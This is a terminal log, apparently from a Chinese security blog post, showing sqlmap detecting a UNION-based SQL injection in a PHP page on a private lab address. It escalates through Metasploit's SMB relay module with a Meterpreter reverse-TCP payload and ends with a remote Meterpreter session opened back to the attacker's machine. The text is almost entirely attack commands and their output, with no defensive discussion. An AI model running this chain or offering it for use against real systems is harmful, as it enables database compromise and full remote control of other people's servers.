brk@Dis9Team:~/t/sqlmap$ sudo ./sqlmap.py -u "http://192.1.1.130/sql/index.php?id=1" --msf-path=/home/brk/t/msf3/ --os-smbrelay
[sudo] password for brk:
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 17:04:54
[17:04:54] [INFO] using '/home/brk/t/sqlmap/output/192.1.1.130/session' as session file
[17:04:54] [INFO] testing connection to the target url
[17:04:54] [INFO] testing if the url is stable, wait a few seconds
[17:04:55] [INFO] url is stable
----------------省略-------------
[17:05:06] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 22 HTTP(s) requests:
---
---
[17:05:11] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.0.63, PHP 5.2.14
[17:05:11] [WARNING] it is unlikely that this attack will be successful because by default MySQL on Windows runs as Local System which is not a real user, it does not send the NTLM session hash when connecting to a SMB service
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [192.1.1.1]
which local port number do you want to use? [50803] 5588
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
which SMB port do you want to use?
[1] 139/TCP
[2] 445/TCP (default)
> 2
[17:06:34] [INFO] running Metasploit Framework 3 console locally, please wait..
[*] Processing /home/brk/t/sqlmap/output/192.1.1.130/tmpudtxq.txt for ERB directives.
resource (/home/brk/t/sqlmap/output/192.1.1.130/tmpudtxq.txt)> use windows/smb/smb_relay
resource (/home/brk/t/sqlmap/output/192.1.1.130/tmpudtxq.txt)> set SRVHOST 192.1.1.1
SRVHOST => 192.1.1.1
resource (/home/brk/t/sqlmap/output/192.1.1.130/tmpudtxq.txt)> set SRVPORT 445
SRVPORT => 445
resource (/home/brk/t/sqlmap/output/192.1.1.130/tmpudtxq.txt)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/home/brk/t/sqlmap/output/192.1.1.130/tmpudtxq.txt)> set LPORT 5588
LPORT => 5588
resource (/home/brk/t/sqlmap/output/192.1.1.130/tmpudtxq.txt)> set LHOST 192.1.1.1
LHOST => 192.1.1.1
resource (/home/brk/t/sqlmap/output/192.1.1.130/tmpudtxq.txt)> exploit
[*] Exploit running as background job.
---------------------------------
[*] Started reverse handler on 192.1.1.1:5588
[*] Server started.
[*] Deleting \AaTNBUvw.exe...
[*] Sending Access Denied to 192.1.1.130:1204 DIS9TEAM-B39270\Administrator
[*] Sending stage (752128 bytes) to 192.1.1.130
[*] Meterpreter session 1 opened (192.1.1.1:5588 -> 192.1.1.130:1205) at 2012-01-09 17:06:51 +0800
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 192.1.1.1:5588 -> 192.1.1.130:1205
推荐
评论(1条)
